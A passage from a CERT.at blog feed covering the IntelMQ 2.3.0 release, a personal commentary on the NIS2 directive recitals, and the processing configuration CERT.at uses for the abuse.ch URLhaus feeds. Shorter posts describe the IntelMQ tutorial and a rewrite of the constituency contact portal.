Pokorn&yacute;</a> and <a href="https://github.com/e3rd/">Edvard Rejthar</a> (CSIRT.CZ)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/latest/user/feeds.html#eset">ESET Collector and Parser</a>, by <a href="https://github.com/monoidic">Mikk Margus M&ouml;ll</a> (CERT.EE)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#kafka">Kafka Collector</a>, by <a href="https://github.com/schacht-certat/">Birger Schacht</a> (CERT.at)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#key-value-parser">Key-Value Parser</a>, by <a href="https://github.com/creideiki/">Karl-Johan Karlsson</a> (Link&ouml;ping University)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/latest/user/bots.html#id25">Request Tracker Output</a>, by <a href="https://github.com/MariusUrkis">Marius Urkis</a> (NRDCS.LT)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/user/feeds.html#via-api">Shadowserver</a> <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#shadowserver-reports-api">Reports API</a> and <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#shadowserver">JSON Parser</a>, by <a href="https://github.com/schacht-certat/">Birger Schacht</a> (CERT.at)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#splunk-saved-search">Splunk Saved Search Expert</a>, by <a href="https://github.com/creideiki/">Karl-Johan Karlsson</a> (Link&ouml;ping University)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#threshold">Threshold Expert</a>, by <a href="https://github.com/creideiki/">Karl-Johan Karlsson</a> (Link&ouml;ping University)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#shadowserver">Shadowserver CSV &amp; JSON Parser</a>: Support for the feeds MSRDPUDP, Vulnerable-HTTP, Sinkhole DNS and fixes for existing feed mappings, by <a href="https://github.com/waldbauer-certat/">Sebastian Waldbauer</a> and <a href="https://github.com/wagner-certat/">Sebastian Wagner</a> (CERT.at)</li> <li class="block"><a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#generic-url-fetcher">HTTP collector</a>: PGP signature check functionality, by <a href="https://github.com/sinus-x">sinus-x</a></li> <li class="block">Several Experts (<a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#asn-lookup">1</a>, <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#maxmind-geoip">2</a>, <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#recordedfuture-ip-risk">3</a>, <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#tor-nodes">4</a>): Integrated local database update mechanisms, by <a href="https://github.com/gethvi/">Filip Pokorn&yacute;</a> (CSIRT.CZ)</li> </ul> <p class="block">All new changes can be read in the <a href="https://github.com/certtools/intelmq/blob/2.3.0/CHANGELOG.md">change log</a>. If you are upgrading, please also have a look at the <a href="https://github.com/certtools/intelmq/blob/2.3.0/NEWS.md">news file</a>. If you get started, have a look at <a href="https://intelmq.readthedocs.io/en/maintenance/index.html">our documentation</a> which contains an introduction and detailed information on the installation.</p> <h2 class="block">The new IntelMQ API and overhauled IntelMQ Manager back-end</h2> <p class="block">Version 2.3.0 comes with a new <a href="https://intelmq.readthedocs.io/en/maintenance/user/intelmq-api.html">API</a>, a feature which has often been requested for IntelMQ. The API actually originates from the IntelMQ Manager:</p> <p class="block">Thanks to <a href="https://sunet.se/">SUNET</a>-funding, the contributing company <a href="https://intevation.de/index.en.html">Intevation</a> rewrote the back-end of the <a href="https://intelmq.readthedocs.io/en/maintenance/user/intelmq-manager.html">IntelMQ Manager</a> in Python. Python is the main language used in the IntelMQ projects, but until the rewrite PHP was used for the backend. As part of the revamp, the URLs have been changed to better match those of a proper programming interface. Additionally, Intevation added optional authentication directly into the API.</p> <p class="block">CERT.at then further split the IntelMQ Manager's back-end off into the IntelMQ API. Therefore it's now possible to run the Manager and the API on different hosts.</p> <h2 class="block">Docker</h2> <p class="block">IntelMQ 2.3.0 is the first release with an official Docker image available at <a href="https://hub.docker.com/r/certat/intelmq-full">Dockerhub under certat/intelmq-full</a>. Using Docker is the simplest way of getting started with IntelMQ as of now. But as it is brand-new, we consider it as beta currently.</p> <p class="block">The container consists of IntelMQ with all optional dependencies, including the Manager and the API, whereas Redis and nginx are ran in separate containers.<br />Some configuration variables are passed to the containers using environment variables. This functionality is new in IntelMQ as well, but not yet available for all configuration settings. IntelMQ 3.0 will be able to use arbitrary parameters from the environment.</p> <p class="block">The <a href="https://intelmq.readthedocs.io/en/maintenance/user/installation.html">installation instructions</a> contain details about the set-up process.</p> <h2 class="block">Shadowserver Reports API</h2> <p class="block"><a href="https://www.shadowserver.org/">Shadowserver</a> is an internationally active and altruistic organisation scanning the Internet for vulnerable devices every day and sinkholing various botnets. They provide the data free-of-charge to CERTs worldwide which are able to act upon the Threat Intelligence data. The vast amount of data is split into different <em>report types</em>, whereas one report by report type is provided per day. A report only contains the data which is relevant for the recipient.</p> <p class="block">The traditional data transmission manner are e-mails with CSV data files, either directly as attachment or - if very big - linked for download via HTTPS. Since October 2020, Shadowserver also provides an <a href="https://www.shadowserver.org/what-we-do/network-reporting/api-reports-query/">HTTP API</a>. IntelMQ supports this API as data collection since this version and allows all IntelMQ users (with an active Shadowserver cooperation) to get Shadowservers's reports directly and without detours into the processing pipeline. Aligned with IntelMQ's concept of separating data collection and parsing, IntelMQ has two separate components for the Shadowserver Reports API support:</p> <ul> <li class="block">The&nbsp;<a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#shadowserver-reports-api">Shadowserver Reports API Collector</a> needs to be configured with the API credentials, the relative time-frame and optionally a list of report types. If no list of report types is given, all available reports are downloaded. The collector keeps track which reports have already been downloaded, so the collector can be executed frequently without downloading data multiple times. The format of the downloaded data is JSON, as opposed to the data provided via e-mail, which is CSV.</li> <li class="block">The <a href="https://intelmq.readthedocs.io/en/maintenance/user/bots.html#shadowserver">Shadowserver JSON Parser</a> uses the same field-mappings as CSV. But as opposed to the Shadowserver CSV parser, which maps the columns of CSV-files to IntelMQ's internal fields, the JSON parser does the same for JSON dictionaries. Both Shadowserver parsers are able to detect the report type based on the file name, which was recorded by the collector in the first place.</li> </ul> <p class="block">Shadowserver is actively looking for sponsors to keep up the great value they provide to the IT security community. Please consider <a href="https://www.shadowserver.org/sponsor/">becoming a sponsor</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Thu, 04 Mar 2021 15:21:14 GMT+0100https://www.cert.at/en/blog/2021/3/intelmq-230-api-docker-shadowserver-reports-api-documentationCERT.at2021-03-04T15:21:14Zhttps://www.cert.at/en/blog/2021/1/nis2-recitals-feedback<p class="block">The <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_20_2391">EU commission dropped a large cyber security package</a> on December 16th 2020, including a <a href="https://ec.europa.eu/digital-single-market/en/news/proposal-directive-measures-high-common-level-cybersecurity-across-union">first draft for a new version of the NIS Directive</a>.</p> <p class="block">In front of the actual normative legal text, there are 84 <a href="https://en.wikipedia.org/wiki/Recital_(law)">recitals</a>, describing the intents of the regulation. I&rsquo;ve now read through them and this blogpost is <strong>my first reaction</strong> (not the official position of CERT.at) to that proposal.</p> <p class="block">I haven't really looked at the normative text yet, feedback to that will come in another blogpost.</p> <p class="block">I&rsquo;ll quote some bits from the recitals of interest and comment on them.</p> <hr /> <p class="block" style="padding-left: 30px;"><em>(<strong>8</strong>) Uniform size minimums for essential entities across the EU</em></p> <p class="block">This might be suboptimal, as the importance of entities must be seen in relation to the size of the MS. (9) tries to mitigate this somewhat, but doesn&rsquo;t define how small or micro entities from (9) need to be notified, too.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>12</strong>) Sector-specific legislation and instruments can contribute to ensuring high levels of cybersecurity, while taking full account of the specificities and complexities of those sectors. [&hellip;]</em></p> <p class="block">Under the current NIS framework in Austria, it is possible that sectors define their own national security baseline and have that approved by the competent authority. Continuity for such setups is essential.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>13</strong>) bringing the finance sector into the NIS framework</em></p> <p class="block">This is a positive development, and might stimulate the establishment of a national CSIRT for the financial sector.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>15</strong>) Therefore, this Directive should apply to all providers of DNS services along the DNS resolution chain, including operators of root name servers, top-level-domain (TLD) name servers, authoritative name servers for domain names and recursive resolvers. </em></p> <p class="block">This is wrong on two counts:</p> <ul> <li class="block"><strong>All </strong>authoritative and recursive name servers is way too broad. Many people run recursive nameservers on the CPE connecting their home network to the Internet. Any server deployment might contain a recursive nameserver. My own private server runs the <a href="https://nlnetlabs.nl/projects/unbound/about/">unbound</a> program for that purposes. On a typical Linux box, installing that service is a one-line command, and I guess that for Windows Server a single ticked checkbox might do the same. <br /><br />Your personal computer should not fall under the NIS directive just because of that. <br /><br />On the authoritative side, a good number of small enterprises, schools, associations, and private persons run their own authoritative name server. Again, this is really trivial to do. And this is one of the really good design points of the Internet: Running services is democratic, you don&rsquo;t need to be a big organization to run your own DNS, Mail, or Webserver. <br /><br />Additionally, it is valuable for the resilience of the Internet as a whole that the DNS is run not only by a handfull of large players. The protocol supports redundant servers by design, it make a lot of sense to use those features.<br /><br /></li> <li class="block">The resolution chain is only one side of the DNS ecosystem. Equally important is the provisioning side, where domain owners ask registrars to create/change/delete delegation data at registries and provision resource records into their own zones. Over the last years, we&rsquo;ve seen at least as many security issues on the provisioning side as on the resolution side.</li> </ul> <p class="block">I fully understand that important name-servers need to be covered by the NIS Directive. But there are many pretty irrelevant ones out there as well.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>22</strong>) In order to facilitate cross-border cooperation and communication among authorities and to enable this Directive to be implemented effectively, it is necessary for each Member State to designate a national single point of contact responsible for coordinating issues related to the security of network and information systems and cross-border cooperation at Union level. </em></p> <p class="block" style="padding-left: 30px;"><em>(<strong>23</strong>) The single points of contact should be tasked with forwarding incident notifications to the single points of contact of other affected Member States.</em></p> <p class="block">The SPOC has always been the bastard child of the NIS directive. Its job description mixes policy issues &ldquo;responsible for coordinating issues related to the security of network&rdquo; with very operational jobs like &ldquo;forwarding incident notifications&rdquo;. Its implemention varies a lot between MS. There is no public directory of SPOC contact addresses (<a href="http://ec.europa.eu/newsroom/dae/document.cfm?doc_id=53682">this</a> is a joke). There is no clear definition on response times and service levels.</p> <ul> <li class="block">We have a cooperation mechanism on the technical layer: the CSIRTs Network.</li> <li class="block">We have a cooperation mechanism on the policy layer: the cooperation group.</li> <li class="block">We&rsquo;re establishing a cooperation mechanism on the operational layer: the CyCLONe.</li> </ul> <p class="block">I think the problem arises as the incident reporting is neither uniformly to the CSIRTs (which would make sharing in the CNW ideal) or the NCAs (which are all part of the cooperation group). Thus they had to invent that virtual role of the SPOC to patch up the differences in the MSs&rsquo; NIS implementations.</p> <p class="block">With NIS 2.0, it is really time to fix this for good. My preferred solution is this:&nbsp;</p> <ul> <li class="block">As long as the reporting did not trigger a national alert, reports should only be shared via the CSIRTs Network</li> <li class="block">If there is any escalation based on the report (or if a significant cross-MS effect is possible), then the CyCLONe should be activated.</li> <li class="block">All policy questions between MS should be handled by the cooperation group (or the HWP Cyber).</li> </ul> <p class="block">Alternatively, the new consolidated reporting portals can implement cross-connects, making lateral passes between Member States a lot easier.</p> <p class="block">So just kill the SPOC role. It only complicates things.</p> <p class="block" style="padding-left: 30px;">(<strong>26</strong>) Given the importance of international cooperation on cybersecurity, CSIRTs should be able to participate in international cooperation networks in addition to the CSIRTs network established by this Directive.</p> <p class="block">Yes. This is really needed.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>28ff</strong>) Since the exploitation of vulnerabilities in network and information systems may cause significant disruption and harm, swiftly identifying and remedying those vulnerabilities is an important factor in reducing cybersecurity risk. Entities that develop such systems should therefore establish appropriate procedures to handle vulnerabilities when they are discovered.</em></p> <p class="block">I fully support that we bring vulnerability disclosure into the NIS fold. There are a few points in the text where I see room of clarifications and improvements:</p> <ul> <li class="block">&ldquo;products&rdquo; vs. &ldquo;services&rdquo;. Here I have a flash-back to the GPL 2 to GPL 3 evolution: The GNU Public Licence used to be all about software and its properties once that software is changing hands. As the software you use started to run not only on your own computer, but might run on someone else&rsquo;s server where you interact via some network client software (e.g., a Web-Browser), the legal framework covering open-source software had to change. <br /><br />It is thus necessary that the NIS-D also makes the transition. The use of the &ldquo;product or service&rdquo; language is appropriate and a step in the right direction. It shouldn&rsquo;t be just &ldquo;Entities that develop such systems &hellip;&rdquo;, but also &ldquo;Entities that operate such systems &hellip;&rdquo;<br /><br /></li> <li class="block">Once we are moving from software (whether sold shrink-wrapped, open source, sold online or bespoke) to the (online-)services provided by software, then a vulnerability might not only be a classical bug in the source code, but could also be a mistake in the operation of that software. A configuration mistake can have the same security impact as a bug in the software. It is thus necessary to take a more expansive view on the vulnerability handling and mitigation process. CERT.at has been busy for years providing operators of vulnerable services with information about obsolete software, about misconfigurations and other operational errors. Having that effort as an official task according to the NIS Directive is welcome. Nevertheless, there are clear differences to the vulnerability disclosure process for software. The text should be evaluated from that perspective, too. (e.g. w.r.t. to a vulnerability registry)</li> </ul> <p class="block">All this needs more refinement.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>31</strong>) Although similar vulnerability registries or databases do exist, these are hosted and maintained by entities which are not established in the Union. A European vulnerability registry maintained by ENISA would provide improved transparency regarding the publication process before the vulnerability is officially disclosed, and resilience in cases of disruptions or interruptions on the provision of similar services. To avoid duplication of efforts and seek complementarity to the extent possible, ENISA should explore the possibility of entering into structured cooperation agreements with similar registries in third country jurisdictions.</em></p> <p class="block">The world does not need a duplication of the CVE system. Mitre, who handles the CVE registry has for years tried to get other entities to provide CVE registration services. This is the way to go.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>35</strong>) The competent authorities and CSIRTs should be empowered to participate in exchange schemes for officials from other Member States in order to improve cooperation.</em></p> <p class="block">This is a good point.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>36</strong>) The Union should, where appropriate, conclude international agreements, in accordance with Article 218 TFEU, with third countries or international organisations, allowing and organising their participation in some activities of the Cooperation Group and the CSIRTs network.</em></p> <p class="block">Yes. This was on my wish-list for NIS 2.0.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>42</strong>) Essential and important entities should ensure the security of the network and information systems which they use in their activities. Those are primarily private network and information systems managed by their internal IT staff or the security of which has been outsourced.</em></p> <p class="block">Yes, these entities run internal IT systems. Increasingly, those are interconnected and have external interfaces to customers, business partners, suppliers and public entities.</p> <p class="block">Additionally (also covered in (44)), I find the focus on MSSPs to be strange. In terms of the overall security of entities, all outsourcing partners with administration level access to the IT systems are important. We have seen a string of reports in 2019 covering breaches in important entities caused by compromised MSPs (Managed Service Providers).</p> <p class="block" style="padding-left: 30px;"><em>(<strong>47</strong>) The supply chain risk assessments, [&hellip;]</em></p> <p class="block">The word missing here is &ldquo;digital sovereignty&rdquo;.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>48</strong>) In order to streamline the legal obligations imposed on providers [&hellip;]</em></p> <p class="block">This is very much needed and welcomed.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>50</strong>) Given the growing importance of number-independent interpersonal communications services, it is necessary to ensure that such services are also subject to appropriate security requirements in view of their specific nature and economic importance.</em></p> <p class="block">Bringing in the worlds of iMessage, WhatsApp, Skype, Duo, Messenger, Signal, Threema &amp; co into the folds of the NIS directive is a positive step. The language in recital (50) is a bit unclear, as the actual identifier used to address communication endpoints is not the relevant criterium. To make this a bit better, one should specify clearly that the numbers we&rsquo;re talking about are E.164 phone numbers, and we want to address those interpersonal communication systems that are not covered by the telecom regulation (via which they can get allocations of E.164 numbers).</p> <p class="block">It has been my <a href="https://lendl.priv.at/blog/2018/04/13/ein-anderer-vorschlag-zu-facebook/">longstanding opinion</a> that the over-the-Internet interpersonal communication services that reached significant market share should be covered by regulation similar to the one that covers legacy telephone systems, especially with respect to interconnection requirements. A good number of the current issues regarding market power, privacy abuses and anti-competitive behaviour of these players are actually pretty similar to what transpired in the pre-liberalized phone ecosystem.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>53</strong>) In particular, providers of public electronic communications networks or publicly available electronic communications services, should inform the service recipients of particular and significant cyber threats and of measures they can take to protect the security of their communications, for instance by using specific types of software or encryption technologies.</em></p> <p class="block">This should also apply to vendors or devices and software that service recipients use to connect to those communication networks.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>54</strong>) [&hellip;] Solutions for lawful access to information in end-to-end encrypted communications should maintain the effectiveness of encryption in protecting privacy and security of communications, while providing an effective response to crime.</em></p> <p class="block">This sounds good in theory, but there is no information here how these contradictory goals can be both achieved at the same time. This needs to be resolved (although the NIS Directive is probably not the right place for that).</p> <p class="block" style="padding-left: 30px;"><em>(<strong>55</strong>) This Directive lays down a two-stage approach to incident reporting in order to strike the right balance between, on the one hand, swift reporting that helps mitigate the potential spread of incidents and allows entities to seek support, and, on the other hand, in-depth reporting that draws valuable lessons from individual incidents and improves over time the resilience to cyber threats of individual companies and entire sectors. Where entities become aware of an incident, they should be required to submit an initial notification within 24 hours, followed by a final report not later than one month after.</em></p> <p class="block">The basic premise is a good one, we need both the quick heads-up and the detailed reporting. Just be aware that it is not uncommon for larger incidents to take more that a month from detection to remediation. In such cases the &ldquo;one month after start of the incident&rdquo; might be too early. My suggestion is to require monthly updates and a full report no longer that one month after the resolution of the incident.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>56</strong>) Essential and important entities are often in a situation where a particular incident, because of its features, needs to be reported to various authorities as a result of notification obligations included in various legal instruments. Such cases create additional burdens and may also lead to uncertainties with regard to the format and procedures of such notifications. In view of this and, for the purposes of simplifying the reporting of security incidents, Member States should establish a single entry point for all notifications required under this Directive and also under other Union law &hellip;</em></p> <p class="block">This is a really good idea and this is something the regulated entities have been requesting.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>59</strong>) &ndash; (<strong>62</strong>)</em></p> <p class="block">A clearer regulation regarding the requirements on the data-quality for and the access rights to the domain ownership information is welcome. Be careful regarding the definition, though: Top-Level Domains are not the only levels in the DNS where <a href="https://publicsuffix.org/">delegations to end-users</a> can happen. See e.g., in Austria the &ldquo;gv.at&rdquo; or &ldquo;co.at&rdquo; Second Level Domains. The distribution of work and responsibilities between registries and the registrars need to be worked out as well. In the case of Registries under ICANN rules, the set of requirements need to be reconciled.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>60</strong>) [&hellip;] CERTs, (CSIRTs,</em></p> <p class="block">Is this just a typo, or is this an indication that non-NIS accredited security teams should also have access to whois data? See also (69).</p> <p class="block" style="padding-left: 30px;"><em>(<strong>69</strong>) The processing of personal data, to the extent strictly necessary and proportionate for the purposes of ensuring network and information security by entities, public authorities, CERTs, CSIRTs, and providers of security technologies and services should constitute a legitimate interest of the data controller concerned, as referred to in Regulation (EU) 2016/679. That should include measures related to the prevention, detection, analysis and response to incidents, measures to raise awareness in relation to specific cyber threats, exchange of information in the context of vulnerability remediation</em></p> <p class="block">As with (28ff), &ldquo;vulnerability remediation&rdquo; needs to also include configuration errors and similar operational errors. The list at the end of (69) cannot be exhaustive, we need a more generic definition of the relevant data types.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>76</strong>) In order to further strengthen the effectiveness and dissuasiveness of the penalties applicable to infringements of obligations laid down pursuant to this Directive, the competent authorities should be empowered to apply sanctions consisting of the suspension of a certification or authorisation concerning part or all the services provided &hellip;</em></p> <p class="block">A few comments here:</p> <p class="block">It&rsquo;s one thing that sanctions are possible against the operators of improperly secured services, but in some cases, they are not the ones to blame, but the vendors they are relying on did not due diligence to make sure their software, hardware or services deliver the promised level of security.</p> <p class="block">I&rsquo;m missing here the tie-in to the security certification framework contained in the EU Cybersecurity Act.</p> <p class="block" style="padding-left: 30px;"><em>(<strong>79</strong>) A peer-review mechanism should be introduced, allowing the assessment by experts designated by the Member States of the implementation of cybersecurity policies, including the level of Member States&rsquo; capabilities and available resources.</em></p> <p class="block">This could be helpful.</p> <hr /> <p class="block"><strong>Overall, the NIS 2.0 proposal is a step in the right direction.</strong></p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Fri, 22 Jan 2021 14:06:54 GMT+0100https://www.cert.at/en/blog/2021/1/nis2-recitals-feedbackCERT.at2021-01-22T14:06:54Zhttps://www.cert.at/en/blog/2021/1/abusech-urlhaus-new-data-feed-notifications<p class="block">Since Wednesday January 13th, 2021 we are sending data of the <a href="https://urlhaus.abuse.ch/">URLhaus Feeds</a> of the <a href="https://abuse.ch/">abuse.ch-project</a> as part of our regular notifications to network owners. The feeds contain URLs to malware files of multiple malware families. To our knowledge, the feeds are of very high quality. Any feedback on the new data source, as well as our notifications in general is always welcome.</p> <p class="block">How the feeds can be added to an <a href="https://intelmq.readthedocs.io/">IntelMQ</a> instance is described in <a href="https://intelmq.readthedocs.io/en/latest/user/feeds.html#urlhaus">IntelMQ's feeds documentation</a>. We added a few extra processing steps in our IntelMQ-setup due to a few internal requirements. As these configurations might be of interest to you, we will briefly describe our setup in the following section.</p> <p class="block">We have two requirements which add some complexity:</p> <ul> <li class="block">The feeds contains the "Dateadded" column, which refers to the first time the malware has been hosted at the given URL (added to the data as "time.source" by the parser). However, we want the "time.source" field to reflect an approximation of the most recent time the malware was still hosted on that URL. Since the data is updated periodically in sufficiently short time intervals, we can apply the following logic (in pseudocode): <code>time.source = time.observation - 1 hour</code> whereas the time.observation refers to the time the data has been fetched by IntelMQ. This results timestamps from when the malware hosting URL was definitely still active.</li> <li class="block">We use both the Country-feed as well as the TLD-feed. As both feeds contain overlapping data, we need to deduplicate it.</li> </ul> <p class="block">For the first requirement, two steps are needed as it is currently not possible to achieve this with a single IntelMQ bot. First, we use a <a href="https://intelmq.readthedocs.io/en/latest/user/bots.html#modify">modify expert</a> with the following configuration:</p> <pre class="block">[ { "rulename": "set time.source to time.observation", "if": {}, "then": { "time.source": "{msg[time.observation]}" } } ]</pre> <p class="block">Then we use an additional <a href="https://intelmq.readthedocs.io/en/latest/user/bots.html#sieve">sieve expert</a>, with the following configuration:</p> <pre class="block">if :exists time.source {<br /> add! time.source -= '1 hour'<br />}</pre> <p class="block">Mathematical operation on datetime objects will be supported in the upcoming IntelMQ release 2.3.0.</p> <p>To <a href="https://intelmq.readthedocs.io/en/latest/user/bots.html#deduplicator">deduplicate</a> the combined feeds of country code and TLD, we use the following parameters:</p> <ul> <li class="block"><code>filter_keys</code> is set to <code>raw,time.source,time.observation,feed.url</code></li> <li class="block"><code>filter_type</code> is <code>blacklist</code></li> <li class="block">With a <code>redis_cache_ttl</code> slightly lower than one day: 82800 seconds</li> </ul> <p>Both feeds are collected once per day, initiated by systemd timers. We are using the <a href="https://intelmq.readthedocs.io/en/latest/user/configuration-management.html#scheduled-run-mode"><em>scheduled</em> run mode</a> and the&nbsp;<a href="https://github.com/certtools/intelmq/tree/master/contrib/systemd">systemd service generator</a> for this purpose.</p> <p>In summary, the order of bots is as following:</p> <ul> <li>Abuse.ch URLhaus Country Feed Collector and Abuse.ch URLhaus TLD Feed Collector</li> <li>Abuse.ch URLhaus Parser</li> <li>Modify Expert</li> <li>Sieve Expert</li> <li>Deduplicator Expert</li> <li>Further processing steps</li> </ul> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Tue, 19 Jan 2021 15:18:52 GMT+0100https://www.cert.at/en/blog/2021/1/abusech-urlhaus-new-data-feed-notificationsCERT.at2021-01-19T15:18:52Zhttps://www.cert.at/en/blog/2020/11/intelmq-tutorial-and-new-documentation-page<p class="block">The IntelMQ tutorial guiding through various features and tools of IntelMQ is available in the <a title="intelmq-tutorial github repository" href="https://github.com/certtools/intelmq-tutorial/">IntelMQ Tutorial GitHub repository</a>.<br /><a href="https://github.com/certtools/intelmq-tutorial/blob/master/lesson-1.md">Lesson one</a> introduces the architecture, concepts and terminology of the project. Lessons <a href="https://github.com/certtools/intelmq-tutorial/blob/master/lesson-2.md">two</a> and <a href="https://github.com/certtools/intelmq-tutorial/blob/master/lesson-3.md">three</a> delve hands-on into working with IntelMQ. Starting with installation and basic usage &amp; configuration they go on to tackle progressively more advanced topics like using advanced features or changing the message queue software to be used. Solutions and explanations are offered for all tasks. In the <a href="https://github.com/certtools/intelmq-tutorial/blob/master/lesson-4.md">last lesson</a> you'll learn how to use <a href="https://github.com/jhemp/intelmq-tools">intelmq-tools</a>, a third-party software which makes customization of your IntelMQ instance much easier.</p> <p class="block">We think that this kind of interactive online documentation is especially important nowadays when conferences and workshops cannot take place in real life.</p> <p class="block">As for all other IntelMQ components, we welcome any contributions and feedback to the tutorial.</p> <h1 class="block">New IntelMQ Documentation page</h1> <p class="block">We completely revised the way IntelMQ's documentation is presented: Instead of single files in the source-code repository, the best place to read the documentation is now <a href="https://intelmq.readthedocs.io/">intelmq.readthedocs.io</a>. All pages are generated using <a href="https://www.sphinx-doc.org/">Sphinx</a>, the de facto standard tool for documentation. It features a better reading experience and a significantly improved navigation. Furthermore, the new page offers an integrated <a href="https://intelmq.readthedocs.io/en/latest/search.html">search</a> as well as <a href="https://intelmq.readthedocs.io/en/latest/py-modindex.html">module index</a> covering the complete code documentation</p> <p class="block">If you find any bugs or have improvements, <a href="https://intelmq.readthedocs.io/en/latest/user/introduction.html#contribute">please let us know</a>!</p> <hr /> <p class="block">This blog post is part of a/related to our <a href="https://www.cert.at/en/about-us/projects/current#3-4-1-3">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the <a href="https://csirtsnetwork.eu/">CSIRTs Network</a>.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Thu, 05 Nov 2020 20:37:17 GMT+0100https://www.cert.at/en/blog/2020/11/intelmq-tutorial-and-new-documentation-pageCERT.at2020-11-05T20:37:17Zhttps://www.cert.at/en/blog/2020/10/development-of-the-constituency-portal-20<p class="block"><em>Dieser Blogpost ist auch auf <a href="https://www.cert.at/de/meldungen/blog/neuentwicklung-des-constituency-portals">Deutsch</a> verf&uuml;gbar.</em></p> <p class="block">Our partner Intevation GmbH develops the next generation of the "Consituency-Portal", our tool for administration of contact information.</p> <p class="block">The new version follows the current version, which is a further developed &bdquo;<a href="https://github.com/certat/do-portal">do-portal</a>&ldquo; (originally developed by CERT-EU). Since 2017 we adapted this software&nbsp;to our needs within the scope of <a href="https://www.cert.at/de/ueber-uns/projekte/abgeschlossen#CEF-2016-AT-IA-0089">CEF 2016-AT-IA-0089</a>.</p> <p class="block">Over the years our requirements grew significantly and the software architecture was no longer able to stand up to those, also the code maintenance got harder over time. Therefore, we decided for a new version of the software in spring this year: The software design will be majorly enhanced and will be based on <a href="https://laravel.com/">Laravel</a> and PHP. With the new version of the Constituency-Portal, we will be able to better address our daily CERT notifications to network owners with our tool <a href="https://github.com/certtools/intelmq/">IntelMQ,</a> by a targeted attribution of networks and domains to the organisations. It is planned, that the address data can be self-managed by the Constituency themself. For this purpose the network owners will have the possibility to create user accounts themselves. The authentication will be managed by Keycloak, with which services to be developed in the future by <a href="https://www.energy-cert.at/de/">AEC</a>/CERT.at and <a href="https://www.govcert.gv.at/">GovCERT</a> can be integrated as well.</p> <p class="block">The development of the Software is performed by <a href="https://intevation.de/">Intevation GmbH</a> from Osnabr&uuml;ck, Germany, as Free Software until summer 2021 and is financed in large parts by <a href="https://www.cert.at/de/ueber-uns/projekte/aktuell#3-4-1-3">CEF 2018-AT-IA-0111</a>. Intevation did already substantially advance IntelMQ as part of other projects. The open development mode emphasizes our engagement for Free Software and the international CERT-community. The tool will be available for other CERTs/CSIRTs as well. The code-repository can be found at <a href="https://gitlab.com/intevation/tuency/tuency">gitlab</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our <a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Thu, 22 Oct 2020 12:45:44 GMT+0100https://www.cert.at/en/blog/2020/10/development-of-the-constituency-portal-20CERT.at2020-10-22T12:45:44Zhttps://www.cert.at/en/blog/2020/7/tag2domain<h1 class="block">Tag2domain -&nbsp;doing proper statistics on domain names</h1> <p class="block">In the course of nic.at&rsquo;s Connecting Europe Facilities (CEF) project <a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/apply-funding/2018-cyber-security">CEF-TC-2018-3</a> we were able to focus on some long overdue but relevant research: 